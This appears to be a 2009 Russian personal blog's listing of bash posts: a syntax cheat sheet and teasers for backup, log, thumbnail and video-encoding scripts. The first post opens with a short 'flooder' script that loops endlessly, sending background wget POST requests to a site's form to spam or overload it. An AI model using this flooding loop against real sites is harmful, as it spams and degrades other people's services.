1 последняя(2) »
Создано: 25-12-2009 16:38:35 изменено: 25-12-2009 16:49:14  Метки: bash

#!/bin/sh
# засиралка
n="0"
while true n=$[$n+1] do wget --post-data="ok=1&email=&sender=Balthazar&content=$n%20%F0%D2%C5%D7%C5%C4+%CF%D 4+%E2%C1%CC%D8%D4%C1%DA%C1%D2%DE%C5%C7%C1..." http://site.ru/index & done 

$*  #  Все аргументы в виде слова
$@  #  Все аргументы в виде списка
$?  #  код завершения
$$  #  id процесса

(a=hello; echo $a)  #  группа команд - выполняются в субшеле

Array=(element1 element2 element3) #инициализация массивов
echo ${Array[0]}

# перебор
echo {file1,file2}\ :{\ A," B",' C'}
file1 : A file1 : B file1 : C file2 : A file2 : B file2 : C

echo $(( 2#101011 ))  # База системы счисления
let "t2 = ((a = 9, 15 / 3))"  # Присваивает значение переменной "a" и вычисляет "t2".

:
echo $?   # 0

: ${username=`whoami`}
# ${username=`whoami`}   без символа : выдает сообщение об ошибке,
#                        если "username" не является командой...
echo ${username-`whoami`}
# Вывод результата работы команды `whoami`, если переменная $username не установлен

: ${HOSTNAME?} ${USER?} ${MAIL?}
#Вывод сообщения об ошибке, если одна или более переменных не определены.

: > data.xxx   # Файл "data.xxx" -- пуст
# Тот же эффект имеет команда cat /dev/null >data.xxx
# Однако в данном случае не производится создание нового процесса, поскольку ":" является встроенной командой.

: >> data.xxx   # если задано имя существующего файла, то эта комбинация на него никак не влияет. Если задано имя несуществующего файла, то он создается.

# Чтение строк из файла /etc/fstab.
File=/etc/fstab
{               #Вложенные блоки и перенаправление ввода-вывода
read line1
read line2
} < $File
echo "Первая строка в $File :"
echo "$line1"
echo
echo "Вторая строка в $File :"
echo "$line2"

{} \;  #  pathname -- полное имя файла

cat <<'Endofmessage' #вывод встроенного документа без подстановки параметров 
Привет, $NAME.
Примите поздравления от $RESPONDENT.
Endofmessage

message=Hello  # механизм косвенных ссылок
Hello=Goodbye
echo "$message"
echo "${!message}"


861 просмотров 0 комментариев

Создано: 17-07-2009 15:47:41 изменено: 18-07-2009 21:43:29  Метки: bash jpeg imagemagick
for i in *.jpg ; do convert -resize 160x160 $i thumbs/$i ; done
1267 просмотров 0 комментариев

Создано: 04-07-2009 20:22:45 изменено: 27-02-2010 15:33:53  Метки: books bash
Тут у меня скопилось несколько документов по башу:
Ну это не совсем баш - просто памятка по основным командам в дебиане(убунте):
Памятка Debian GNU/Linux - 101 полезный совет при работе с Debian GNU/Linux (49 кб)

2 очень полезных книги по програмированию на баше:

* Advanced Bash-Scripting Guide - Искусство программирования на языке сценариев командной оболочки(416 кб)
* Дэйвид Тэйнсли. Linux и Unix: програмирование в shell. Руководство разработчика.(4,4 Мб)
988 просмотров 0 комментариев

Создано: 04-07-2009 19:38:32  Метки: bash beginner perl

Чип Тернер (Chip Turner)

This article is protected by the Open Publication License, V1.0 or later. Copyright © 2005 by Red Hat,Inc.
Original article: http://www.redhat.com/magazine/004feb05/features/bash/
1923 просмотров читать далее 0 комментариев

Создано: 04-06-2009 20:18:46 изменено: 04-06-2009 20:20:16  Метки: bash backup linux sysadmin
Запускаем ежедневно:
cat /etc/cron.daily/backup
#! /bin/bash
/root/backup

1538 просмотров читать далее 0 комментариев

Создано: 04-06-2009 19:52:36  Метки: bash log sysadmin
Данный скрипт связан с особенностями моей работы, и большинству наверняка будет не интересен. Он просматривает сжатые лог-файлы на наличие определенного айпишника с определенных дат и пакует отдельный лог.
1385 просмотров читать далее 0 комментариев

Создано: 04-06-2009 19:49:57 изменено: 21-01-2010 10:50:01  Метки: dvd video bash
Источник:
http://www.lissyara.su/?id=1274
Скрипт кодирования dvd в avi. Кодек DIVX (FMP4),
2 прохода, качество выбирается вручную, размер видео 700 Мб.
Либо, если кодируемый файл небольшой, то битрейт видео ставится равный 1000, а размер как получится, но < 700 Мб.
Аудио дорожка кодируется в mp3 с битрейтом 128 и выравнивается громкость.
По окончании кодирования отсылается уведомление на почту.
1232 просмотров читать далее 0 комментариев

Создано: 04-06-2009 19:47:50  Метки: cgi bash linux
Маленьким фирмам, постоянно работающим в интернете, часто бывает необходим резервный канал, на случай падения основного.
Возникает проблема как переключать с основного канала на резервный. Можно пингать шлюз или какой-либо хост в в основном канале и переключать по пропаданию, можно балансировать нагрузку на каналы. А можно и вручную, например вот так:
1130 просмотров читать далее 0 комментариев

Создано: 02-06-2009 18:04:56  Метки: bash log
#! /bin/bash
tac /var/log/messages| grep "$1"| head -n40| tac
1135 просмотров 0 комментариев

Создано: 02-06-2009 17:54:11 изменено: 18-12-2009 20:39:15  Метки: nano highlight bash

Выбор консольного редактора - дело весьма отвественное. Некоторым нравится vim, кому-то mcedit, мне приглянулся nano. Вот только подсветка синтаксиса шелл-скриптов по умолчанию у него весьма бедная. Вот пример моего файла подсветки, слегка переделаного:

1891 просмотров читать далее 0 комментариев

1 последняя(2) »